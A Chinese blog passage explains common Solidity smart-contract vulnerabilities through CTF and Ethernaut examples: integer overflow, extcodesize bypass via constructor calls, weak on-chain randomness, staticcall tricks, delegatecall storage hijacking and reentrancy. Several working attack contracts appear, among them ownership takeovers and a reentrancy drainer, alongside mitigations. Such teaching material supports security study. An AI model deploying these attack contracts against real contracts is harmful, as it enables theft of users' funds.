当前位置:   article > 正文

智能合约随想——一些简单的Solidity智能合约漏洞/攻击_extcodesize

extcodesize

一时兴起,把自己博客里面写的一点简单的东西直接复制粘贴扔来CSDN,但是不保证CSDN这边能够及时更新。如果文章有什么问题,还请各位大佬提出来,感激不尽

目前都在学Solidity,而Yul,Move和Rust (正在学,什么奇美拉) 暂时还没有学过,慢慢&随缘更新 (当然欢迎催更)

由于博客对Solidity代码块的着色问题,所有Solidity代码块的着色规则都选用的是Javascript

智能合约审计随想

这部分就是一些智能合约的漏洞的分析、攻击方法和规避方法(可能会有),来源很多,从比赛/靶场的题目到某管上的视频、从各种论坛到Github上的电子文档,咱只是负责搬运并以自己的理解描述出来而已,大佬们轻点喷QAQ

1. 整型溢出(Solidity <=0.6特性)

我个人习惯叫这种漏洞为“油量表”,因为它确实和油量表蛮像,下面细说:

由于Solidity语言不支持小数,所以我们一般见到的1 Token在数值上一般是1e18。举个例子:有了解过以太币换算的应该都知道1ETH= 1 0 18 10^{18} 1018 wei,而wei是最小计数单位(ETH和wei中间还有个Gwei,1ETH= 1 0 9 10^9 109Gwei,1Gwei= 1 0 9 10^9 109wei)

好了扯得有点远,回到题目,我们假设在Solidity定义了一个uint4,那么它可以是0000~1111,也就是0~15的范围,姑且假定这个数是15,也就是1111

那么假如我们对1111进行+1的操作,那么会变成什么?理论上应该是10000,也就是16吧,但是别忘了我们这个变量类型是个uint4,所以计算机会忽略掉最前面那个1,所以我们得到了…1111+0001=0000…?

再考虑另一个uint4,这次这个数是0,那么我们对其-1… 由于uint是无符号整型,也就是非负数,所以0-1不可能等于-1. 那么计算机会假定这个uint4它不是0000,而是10000,这样就能对其-1了,得到的是1111,所以我们又得到了…0000-0001=1111…?

是不是和油量表很像?到达最大值后就重新回到“最小值”,而最小值往下减又变成“最大值”,这就是整型溢出

我们举个例子吧,用Ethernaut的第5关(Token):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

就是一个简化的代币合约,构造函数铸造代币,有个转账功能,一个查看用户余额的函数

正常来说,转账里面那个require应该是没什么问题的,很符合逻辑,毕竟我有20块不可能给别人21块吧(笑),但是对于0.6及更低版本的Solidity就完蛋了,比如这里的uint应该是会自动转换成uint256~~(多少我忘了,反正蛮大,就先按256写吧)~~,那么20-21得到的结果实际是 2 256 2^{256} 2256-1,非常幽默,我给别人转账,他拿钱了,我也拿钱了,我们都有美好的未来

不过这个漏洞仅在<=0.6版本下有效,而且合约里如果使用了OpenZeppelin的SafeMath.sol,同样无法通过此漏洞攻击

2. 有关EOA地址和合约地址的一些事

EOA地址,External Owned Account地址,简单理解为用户地址就行,下面就用“用户地址”了,免得忘了EOA是啥,还得回来翻

2.1 msg.sender和tx.origin

我们假设有这样一个链条:用户A→合约B→合约C,就是用户A创建了一个合约B,而合约B会调用合约C中的某些函数

假如此时合约B调用了合约C的某个函数,那么此时合约C中的msg.sender就是B的地址,因为是B直接调用了C的功能;tx.origin是调用了智能合约功能的用户地址,所以这里合约C的tx.origin则是A的地址

记不住?msg⇒message,tx⇒transaction,一个是信息(直接)发送者,一个是交易的源头,我个人是这样去记的

所以如果遇见require(msg.sender != tx.origin)这种东西,搞个合约调用就行了

2.2 extcodesize

EVM提供了EXTCODESIZE指令来获取地址相关联的代码大小,所以可以利用extcodesize()来判断一个地址是用户地址还是合约地址:如果存在和地址相关联的代码,那么它就是合约地址;反之则是用户地址

所以我们可能会遇到

assembly{size := extcodesize(_addr)}
require(size == 0, "Account must be EOA account!");
  • 1
  • 2

这样判断用户/合约地址的代码

但是!我们先讲讲其他东西:

2.2.1 bytecode & deployedBytecode

我们一般提到bytecode,都是在合约被发送到以太坊节点进行合约创建的时候,但是这个deployedBytecode是什么鬼?

看名字,后者是“已部署的(合约的)字节码”,那么可以合理猜测它会在每次合约被调用的时候执行;而前者是合约首次被创建的时候执行的. 两者区别其实就只有一个:是否含有与构造函数相关的字节码,至于谁有谁没有,估计都知道了吧(笑)

解释一下,由于构造函数只会被执行一次,那么这段代码在之后的执行无用,所以以太坊节点没必要保留相关的字节码,所以以太坊节点上保留的是deployedBytecode,而非bytecode

好!回到extcodesize,考虑到节点保存的是deployedBytecode,那么肯定是执行完构造函数,剩下的代码才会被节点保存,对吧?

那么假如我们在构造函数里面进行调用,由于此时链上没有保存这个合约的相关代码,所以extcodesize返回的值为0,和对用户地址执行的结果一致,所以我们就很成功地绕过了这一步!

那么我们到底应该如何分辨用户地址和合约地址?还记得msg.sender和tx.origin的关系吗?如果我们只允许用户地址调用函数,那么我们就在函数里面require(msg.sender == tx.origin)就好了,反之就不等于

放个自己在社团23届新生赛出的最后一题~~(没人做QAQ)~~:

//SPDX-License-Identifier:MIT
pragma solidity ^0.8.18;

contract NoBypasses{

    mapping(address => uint256) public flag;

    modifier WTHisthis(){
        require(msg.sender != tx.origin);
        _;
    }
    modifier WTFisthis(){
        uint x;
        assembly{x := extcodesize(caller())}
        require(x == 0);
        _;
    }

    function setFlag() public WTHisthis WTFisthis{
        flag[msg.sender]=1;
    }
    function getFlag(address addr) public returns(uint256){
        uint256 a=flag[addr];
        flag[addr]=0;
        return a;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

WTH要求被修饰的函数必须由合约调用,而WTF要求调用者的extcodesize值为0,所以我们在攻击合约的构造函数里面调用setFlag就行了!

//SPDX-License-Identifier:MIT
pragma solidity ^0.8.18;
import './ACTFBypass.sol';

contract testAcc{
    address public magic_addr;

    constructor(address addr){
        magic_addr=addr;
        NoBypasses(magic_addr).setFlag();
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

3. 构造函数命名错误(Solidity <=0.6特性)

我一直都把学习Solidity当作在学习面向对象编程(主要是合约真的太像类了)

在0.6及以下版本,Solidity的构造函数是和合约名字一致的,也就是你有一个contract Clwk9,那么你的构造函数就应该是function Clwk9()

但是就和我举的例子一样,假如这个函数因为有些字符难区分导致打错了,比如从Cl(小写L)wk9写成了CI(大写i)wk9,那么这个函数就变成了一个普通的函数. 又假如这个函数有些敏感的东西,比如我很喜欢在构造函数里面加的owner=msg.sender,那么这可能会导致极其严重的后果

不过和上面的整型溢出一样,这个也是0.6及以下版本的漏洞,现在大伙都用constructor()了

4. (伪)随机数预测(操控)

假如我们要写一个抛硬币的合约,那么我们需要找到一个随机数来保证其随机性,而在以太坊里面我们一般用keccak256算法来生成一个值,并把这个值作为随机数使用,至于参数可能是各种东西,比如区块的时间戳,上面提到的msg.sender,区块数之类的,这里我们假设这个随机数为:

random_num = uint256(keccak256(abi.encodePacked(tx.origin, block.timestamp)))
  • 1

看起来很吓人,对吗?但是不用担心,因为区块链它的公开性,绝大部分的数据是可确认或者可控的,比如这里的时间戳就是确定的,而看似模糊的tx.origin其实也是可控的:假如我们用的是一个合约来攻击它,那这里的tx.origin不就是我们自己的地址吗?

所以在这种看似随机的结果背后,其实结果都是可操控的,基本上可以以此达到连胜的结果

我们这里拿Geekchallenge2023的区块链压轴题(stage)举例:

///SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

interface IReceiver {
    function getNumber() external view returns(uint256);
}
contract stageGame{
    mapping (address => bool) private flag;
    mapping (address => bool) public isStage1Completed;

    function stage1() external {
        uint size;
        address addr = msg.sender;
        assembly { size := extcodesize(addr) }
        require(size == 0,"EOA must!");
        isStage1Completed[msg.sender] = true;
    }

    function stage2(uint _guess) external {
        require(isStage1Completed[msg.sender],"You should complete stage1 first!");
        uint number = block.timestamp % 100 + 1;
        require(number == _guess, "Wrong number!");
        _stage3();
    }

    function _stage3() private {
        uint size;
        address addr = msg.sender;
        assembly { size := extcodesize(addr) }
        require(size > 0,"Contract must!");
        uint256 number1;
        uint256 number2;
        (bool success,bytes memory data1) = addr.staticcall(abi.encodeWithSignature("getNumber()"));
        require(success,"First call failed!");
        number1 = abi.decode(data1, (uint256));

        (bool success2,bytes memory data2) = addr.call(abi.encodeWithSignature("getNumber()"));
        require(success2,"Second call failed!");
        number2 = abi.decode(data2, (uint256));
        require(number1 != number2, "Must return different Number!");

        flag[tx.origin] = true;
    }


    function check(address addr) external view returns(bool){
        return flag[addr];
    }

}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50

这里主要说stage2,stage1上面已经讲过了,stage3下面会讲

stage2要求我们猜对一个随机数,这个“随机数”是由区块时间戳对100求余然后-1得到的

所以非常简单,我们按它的要求做:(这里只给stage2的核心解题代码)

    function hack() public{
        uint guess = block.timestamp%100+1;
        stageGame(magic_addr).stage2(guess);
    }
  • 1
  • 2
  • 3
  • 4

按照合约构造出随机数然后传进去就行,说白了这就是复制粘贴的事,没啥难度

如果合约确实需要生成随机数,推荐使用Chainlink VRF,目前是出到v2了

5. call(),staticcall()和delegatecall()

5.1 call()和staticcall()的区分

call,调用,没啥好说的,直接跳过

staticcall,静态的call,那么可以想到如果是动态的call就不被允许. 那么什么是“静态”,什么是“动态”?很简单,状态变量都没改变就是静态的,改了就是动态的. 换句话说,被staticcall调用的函数不允许进行状态变量的更改,否则就会回退

所以有些合约可能为了保证调用自己合约的合约足够安全,会用staticcall调用其函数,防止其对自己的状态变量进行修改,最后导致可能预期以外的结果,就比如上面Geekchallenge的题,它就是对我们的合约进行两次调用并对比返回值是否相同,如果不同则过关

那么如何能让返回值不同呢?有两个思路:一是修改合约内变量,但是因为staticcall的性质,这条路走不通;二是分辨call和staticcall,对两种call返回不一样的值,这条路看起来可行…?

那么我们如何能分辨两个call呢?假如我们修改自己合约的状态,那么就会导致回退,最后无法通关;那么假如我们修改的是其他合约的状态呢?

我们可以稍微利用一下staticcall的性质来帮助我们通关:假如在我们的合约里面,又call一个外部变量,那么staticcall会在对外部变量的call的时候失败回退,我们的合约能收到staticcall回退后返回的状态码0,同时外部变量由于交易回退,其状态不发生改变

那假如我们调用的是一个在fallback()进行自毁的合约,那么这个自毁合约在被staticcall调用时不会自毁,而被call调用会自毁

所以stage3的核心代码就出来了:

function getNumber() external payable returns(uint256){
    bool success;
    (success,)=address(0x...).call(""); 
    //上面的"0x..."是你的Dummy自毁合约地址,所以你需要先部署好你的Dummy合约然后再硬编码Dummy的地址
    if(!success){
        return 0x0000;
    }
    else{
        return 0xffff;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
///SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

contract Dummy{
    fallback() external {
        selfdestruct(address(0));
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

既然都提到fallback()了,那就简单讲一下:

5.2 fallback,receive

当智能合约被调用了一个无法正确匹配到的函数,或者合约在未被提供数据的时候被外部转入ETH的时候,fallback()内的语句会被执行

后半句我们先不谈,前半句应该还是很好理解的,就比如参数的个数类型出错、名字拼写错误、没有找到对应名字的函数,这些都会导致fallback的执行

receive()就和它的名字一样,当合约接收到外部转账的时候,receive()内的语句会被执行. 这里的“外部转账”就是直接转帐给合约地址,操作就和用户之间转账一样,每个钱包都能实现(填写转账地址的时候,那个地址可以填写用户地址,也可以填写合约地址)

再回到fallback,如果一个合约接收到外部转账,而且合约没有receive()的时候,就会执行fallback()内语句,后半句翻译一下就是这样

那假如合约既没有fallback(),又没有receive(),那么合约接收到外部转账就会回退

fallback还有种写法,就是没有函数名,也就是function () public {}这样的

5.3 delegatecall()

好,让我们来到delegatecall,委托调用

什么是delegatecall?一句话:让你的代码在我的上下文里运行,上下文包括但不限于内存msg.sendermsg.value

还记得我们在msg.sender和tx.origin的链条吗?假如我们现在的链条变成了这样:

用户A→合约B→(delegatecall)→合约C

这里合约C中的msg.sender其实是A的地址,同时msg.value来源也是A,因为是合约B委托了合约C,所以C执行用的是B的数据

回到delegatecall,这个方法有两个攻击点:delegatecall会保留上下文发起委托的合约和被委托的合约的存储排布必须一致

5.3.1 delegatecall的保留上下文

假如我们有这样一个合约:

contract Hackme{
	address public owner;
	Lib public lib;
	
	constructor(Lib _lib) public{
		owner = msg.sender;
		lib = Lib(_lib);
	}
	
	fallback() external payable{
		address(lib).delegatecall(msg.data);
	}
}

contract Lib{
	address public owner;
	
	function pwn() public{
		owner = msg.sender;
	}
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

我们的目的是把Hackme合约中的owner抢过来,但是Hackme合约中有关owner赋值的只有构造函数里面那一句,我们只能和合约中的fallback()进行交互,而fallback会把我们的msg.data传输到Lib合约中运行

我们刚说过fallback内的语句什么时候会执行,所以我们可以通过调用一个Hackme里面没有的函数来让它执行fallback内语句;不仅如此,之后把msg.data传输到Lib合约运行的时候,我们可以构造msg.data,使得我们能够执行Lib合约内我们想执行的任何一个函数,而在这里我们想执行的是Lib中的pwn()

但是为什么是pwn()?还记得delegatecall的定义吗?其实Lib的pwn()会在Hackme的上下文中运行,导致执行pwn()的时候,被操作的其实是Hackme内存中的owner,从而使Hackme易主,而这就是“保留上下文

那么根据上面所讲的,我们可以这样编写攻击合约:

contract Attack{
	address public hackMe;
	
	constructor(address _hackMe) public{
		hackMe = _hackMe;
	}
	
	function attack() public{
		hackMe.call(abi.encodeWithSignature("pwn()"));
	}
	
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

这样我们的攻击合约就获取到了Hackme合约的所属权

5.3.2 存储排布不一致可能导致的问题

刚刚我们的Hackme中的第一个变量都是address public owner,存储排布是一致的,那么假如我们变量的顺序发生了改变,会导致什么呢?在进入这个之前我们先插句题外话,聊一下Solidity中storage,memory和calldata三者之间的关系:

5.3.2.1 storage,memory,calldata

我们先说memory和calldata. Memory,内存,一个存储临时数据的位置;Calldata,很明显是call产生的data,那么这个数据也很明显是临时的,也就是说calldata它也是一个存储临时数据的位置

两者的区分在于存储的数据是不一样的,memory存储的是在函数执行的时候会使用到的变量,可能是函数参数、局部变量之类的东西,而calldata存储的是外部调用者传进函数的参数

但是有一个问题:memory是可读可写的,但是calldata只可读,所以如果我们需要在函数执行的时候修改一个存放在calldata中的函数参数,那么我们需要先将这个参数复制到memory中再对memory的参数进行修改操作,比如下面的例子:

function addOne(uint[] calldata numbers) public pure returns (uint[] memory) {
  uint[] memory newNumbers = new uint[](numbers.length);
  for (uint i = 0; i < numbers.length; i++) {
    newNumbers[i] = numbers[i] + 1;
  }
  return newNumbers;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

因为我们需要修改numbers中的数据,所以我们需要先将numbers复制到memory中的newNumbers里再修改

刚刚我们提到的都是存储临时数据的位置,那么相对的我们需要一个永久存放数据的位置,而这就是存储:storage. 它里面的数据能被合约中的任意函数访问并修改

5.3.2.2 Solidity合约中状态变量的存储排布

有了上面有关三种存储数据的位置的基础知识,我们现在再说说Solidity中存储(storage)里面状态变量是如何存储的,方便之后理解delegatecall的第二个攻击点

在Solidity中,一个合约的存储空间会被分成 2 256 2^{256} 2256个32字节的存储槽,这些槽可以简单理解成一个数组,其索引从0开始,且所有存储槽一开始都会被初始化为0

状态变量的存储如下图所示:

{% asset_img state_var.jpeg 如图所示 %}

所以可以简单理解为我每个状态变量按照存储槽的索引顺序一一放入

当然,Solidity存储其它变量的方式也会有所不同,详细的可以看这篇文章:What is Smart Contract Storage Layout? (alchemy.com)

让我们回到delegatecall的第2个攻击点,假如我们有下面两个合约:

contract Lib{
	uint public someNumber;
	
	function doSomething(uint _num) public{
		someNumber = _num;
	}
}

contract HackMe{
	address public lib;
	address public owner;
	uint public someNumber;
	
	constructor(address _lib) public{
		lib = _lib;
		owner = msg.sender;
	} 
	
	function doSomething(uint _num) public{
		lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
	}
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

很明显,我们的HackMe合约是想调用Lib合约中的doSomething来修改自己合约中的someNumber状态变量的,但是!我们发现有个问题:Lib的storageSlot 0(之后会以storageSlot x的格式表示第几位存储槽)对应的是someNumber,而HackMe的storageSlot 0对应的则是Lib合约的地址!

再回想delegatecall的定义:在委托合约的上下文运行被委托合约,所以我们委托调用Lib的doSomething的时候,看起来是修改了someNumber变量的值,但是实际上是修改了storageSlot 0上的数据,也就是HackMe合约中的lib地址!

所以攻击思路就很显然了:我们先修改lib地址,使得HackMe合约委托调用我们自己的一个攻击合约,然后我们再构造一个doSomething函数,进行下一步的攻击,比如说继续利用delegatecall的定义和性质,修改HackMe合约的storageSlot 1上的值,也就是修改owner!

不过由于这里的doSomething的参数是个uint,而最后修改的是个address,所以我们攻击的时候需要将想传入的address转换为uint

于是我们可以编写下面的攻击合约:

contract Attack{
	address public lib;
	address public owner;
	uint public someNumber;
	
	HackMe public hackMe;
	
	constructor(HackMe _hackMe) public{
		hackMe = HackMe(_hackMe);
	}
	
	function attack() public{
		hackMe.doSomething(uint(address(this)));
		hackMe.doSomething(1);
	}
	
	function doSomething(uint _num) public{
		owner = msg.sender;
	}
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

详细拆解一下:首先我们复制粘贴HackMe合约中的状态变量排布,方便我们进行攻击合约的编写,至于第6行的hackMe变量无需担心,因为它在storageSlot 3,HackMe合约无权访问

attack()函数首先会修改HackMe中的lib地址为这个攻击合约的地址,然后执行的doSomething会委托调用我们攻击合约的doSomething

攻击合约里面,我们想要让owner变成我们的合约地址,先写成owner = this contract

然后我们根据delegatecall的性质写出第二次执行doSomething的链条:

合约Attack→合约HackMe→(delegatecall)→合约Attack

所以我们会发现这里的msg.sender就是合约Attack的地址,所以我们的this contract就可以被改写为msg.sender

6. 重进入(Re-entrancy)攻击

当一个合约向一个未知的地址发送ether的时候可能会出现这种攻击,一般是攻击者创建一个攻击合约,并且在攻击合约中的fallback函数中加入恶意代码,从而执行一些开发者未预想到的操作

fallback什么时候执行想必各位都还记得,上面有提到,这也是为什么恶意代码会在fallback里面

至于为什么叫“重进入”,就是一个外部的恶意合约调用了有漏洞的合约的函数,而代码执行的路径“重新进入”了它

6.1 单函数重进入

这里举一个例子,假如我们有个EtherStore合约,允许往里面存钱的用户每周最多提款1ether:

// This code has been syntax-upgraded to ^0.8.0 by me, original post at https://betterprogramming.pub/preventing-smart-contract-attacks-on-ethereum-a-code-analysis-bf95519b403a

contract EtherStore {

    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public{
        unchecked{
        require(balances[msg.sender] >= _weiToWithdraw,"1");
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit,"2");
        // limit the time allowed to withdraw
        require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks,"3");
        (bool success,) = msg.sender.call{value: _weiToWithdraw}("");
        require(success,"4");
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = block.timestamp;
        }
    }
 }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26

要求一周内没有提过款,且提款金额也被限制的很好,看起来无懈可击,不是吗?

但是如果我告诉你漏洞在第17行的msg.sender.call.value(_weiToWithdraw)()呢?

我们来看攻击合约:

// This code has been syntax-upgraded to ^0.8.0 and slightly modified by me, original post at https://betterprogramming.pub/preventing-smart-contract-attacks-on-ethereum-a-code-analysis-bf95519b403a

contract Attack {
  EtherStore public etherStore;
  address public owner;

  // intialize the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
      owner = msg.sender;
  }

  function attackEtherStore() external payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds{value: 1 ether}();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }

  // fallback function - where the magic happens

  receive() external payable{
      if (address(etherStore).balance > 1 ether) {
        etherStore.withdrawFunds(1 ether);
      }
      else{
        payable(owner).transfer(address(this).balance);
        return;
      }
  }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

直接这样看我们可能不太能理解,那就让我们分析一下代码的执行路径吧:

首先,向EtherStore存款(下文简称ES~~(Ether Strike)~~),为接下来的提款铺路,然后就开始向ES提款

第1次,所有条件都满足,我们直接跳过,来到漏洞处,此时ES向攻击合约发送1ether,而攻击合约因为没有receive(),因此调用了fallback函数,而fallback中我们又向ES发起提款(注意第1次的提款代码执行还在第17行)

第2次,由于第1次的代码执行还在第17行,所以攻击合约的余额没变,上次提款时间也是没变的,所以攻击合约依旧满足所有条件. 判断完之后又到了第17行,ES向攻击合约发送1ether

…以此类推,等到ES合约只剩下小于或等于1ether的时候,攻击合约的fallback不执行了,这个时候最后一次的提款继续走到ES的第18和19行,然后是次最后一次的,以此类推一直到第1次的提款结束,此时我们攻击合约的余额和最近一次提款时间被确定,攻击结束

最后我们看结果:我们的攻击合约提取了ES合约里面近乎所有的ether,除了剩下来的那一个或者一个不到

那么我们如何预防呢?其实很简单,我们在转账的时候锁住函数就好了,比如说下面修改后的ES合约:

// This code has been syntax-upgraded to ^0.8.0 by me, original post at https://betterprogramming.pub/preventing-smart-contract-attacks-on-ethereum-a-code-analysis-bf95519b403a

contract EtherStore {

    // initialize the mutex
    bool reEntrancyMutex = false;
    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public payable{
        require(!reEntrancyMutex);
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = block.timestamp;
        // set the reEntrancy mutex before the external call
        reEntrancyMutex = true;
        payable(msg.sender).transfer(_weiToWithdraw);
        // release the mutex after the external call
        reEntrancyMutex = false;
    }
 }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

我们添加了一个reEntrancyMutex(其实就是个哨兵),而且我们提前修改了被转账者的余额和上次提款时间,双倍保险

但是上面的合约中的transfer可能会导致一些其它的问题,详细请看这里

6.1.1 复现攻击的时候出现的小状况

原来的代码是在^0.6.0下运行的,而现在(2024/2/29)已经到0.8.24了,所以我稍微将一些语法进行了升级,最后得到的就是unchecked里面括起来的那些代码

然后我稍微试了一下,发现直接revert了,所以这就是为什么我这里的代码里面的require都有返回的字符串,最后发现是在第21行回退的,说明有一次的call转账出现了问题,导致返回值是false

然后我在VM上进行了调试,发现(假如一共进行10次提款)前面9次提款都是success=true,就是最后一次变成了false;然后发现无论提款多少次,都是只有最后一次出问题

之后又搜索了一下,发现0.8版本下整型溢出会直接导致revert,所以那个代码在0.8下是可以预防重进入的,不过由于是要复现嘛,而且有问题总不能一味逃避,所以就只是套了个unchecked,但是还是上面的问题,调试的时候发现甚至没有运行到balance的改变就直接revert了

卡了几个小时,实在想不到为什么,于是请教了一下别人,结果别人说”0.8 以上修复了很多问题,自己去看到底修复了些啥吧“…问题是论坛上别人0.8没法复现都是因为整型溢出,但是我是都没到那里就revert了,而且也没有Panic(如果是整型溢出会返回一个Panic code),更何况我还加了unchecked,杜绝了这种情况的可能性…

最后是想在receive函数那里返回一个值,然后发现receive不能返回任何值,然后看到if…else那里没有return,顺手在else块加了一个,然后…可以了…??????

合着就是if…else缺一个return?为啥啊????不懂,死去的C/C++又跳了起来开始攻击我

6.1.2 复现攻击的时候出现的小状况2~~(这都能有续集???)~~

爹地qsdz在愚人节前一个月的半夜突然说他的Reentrancy出现了一点小小的问题,这里先给漏洞合约和攻击合约:

contract Example {
    event Payment(uint256 amount);
    mapping (address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        require(balances[msg.sender] > 0, "No balance");
        (bool success, ) = msg.sender.call{value: balances[msg.sender]}("");
        require(success, string(abi.encode("Oh no!", address(msg.sender).balance)));
        if (success)
            balances[msg.sender] = 0;
    }
}

contract Attack {
    Example public example;
    event Payment(uint256 remain, uint256 amount);

    // intialize the etherStore variable with the contract address
    constructor(address addr) {
        example = Example(addr);
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "No value");
        example.deposit{value: 1 ether}();
        example.withdraw();
    }

    function collectEther() public {
        payable(msg.sender).transfer(address(this).balance);
    }

    // fallback function - where the magic happens
    receive () external payable {
        emit Payment(address(example).balance, msg.value);
        if (address(example).balance > 1 ether) {
            example.withdraw();
        }
        else{
            return;
        }
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47

爹地是在漏洞合约存了50 ether,然后在攻击合约的attack是以value: 1 ether进行攻击的,理论上是进入50次的时候就能把钱偷走了,但是不知道为什么总是revert,后面debug的时候发现第35~36次就直接revert了

这就很奇怪,而且咱作为完全看不懂opcode的废物只能设断点看哪一步出了问题,但是就只是告诉我call转账出错,就很让人头大

不过后面拉到区块相关的信息的时候,才想起来除去我们设定的gas limit,还存在一个block gas limit(Remix默认的gas limit是3M,但是block gas limit一般都不到1M,至少测试的时候是这样的),所以很有可能是进入次数过多,导致VM消耗的gas超出了block gas limit,最后导致revert

后面爹地把攻击的value从1 ether拉高了一点,成功了,终于可以接着睡觉了(bushi

后记:

{% asset_img mdfw.png “笑死,被爹地骂了” %}

6.1.3 间幕——有关调用栈攻击的一些简短的废话

其实上面的攻击失败还有种可能,就是调用栈溢出,但是由于没到栈最大深度,所以上面就没提到,不过这里就简单展开说下好了

Solidity存在表达式栈和调用栈(两者并不相关),在Remix VM上调试的时候就有看见函数的调用栈是如何的,两个栈的最大深度都是1024,而超过了这个值Solidity就会抛出异常,所以还有一种叫调用栈攻击的潜在漏洞,就是与合约交互前提前消耗大量调用栈,最后使得交易或者函数调用异常的攻击手段,但是2016年提出的EIP-150说明自从桔哨(Tangerine Whistle)硬分叉之后提出的63/64法则就让这种攻击不切实际

6.2 跨函数重进入

虽然上面的重进入哨兵能很有效地预防重进入,但是如果这个合约有多个函数共用一个状态变量的时候,就有可能产生跨函数重进入

直接这么说不太直观,我自己也没看懂,不过例子我还是能给出来的:

// This code has been slightly modified, original post at https://scsfg.io/hackers/reentrancy/

contract Vulnerable {
    mapping (address => uint) private balances;
    bool reEntrancyMutex = false;

    function transfer(address to, uint amount) public {
        if (balances[msg.sender] >= amount) {
        balances[to] += amount;
        balances[msg.sender] -= amount;
        }
    }

    function withdraw() public {
        require(!reEntrancyMutex, "Re-entrancy Attack detected!")
        uint amount = balances[msg.sender];
        reEntrancyMutex = true;
        (bool success, ) = msg.sender.call{value: amount}("");
        reEntrancyMutex = false;
        require(success);
        balances[msg.sender] = 0;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
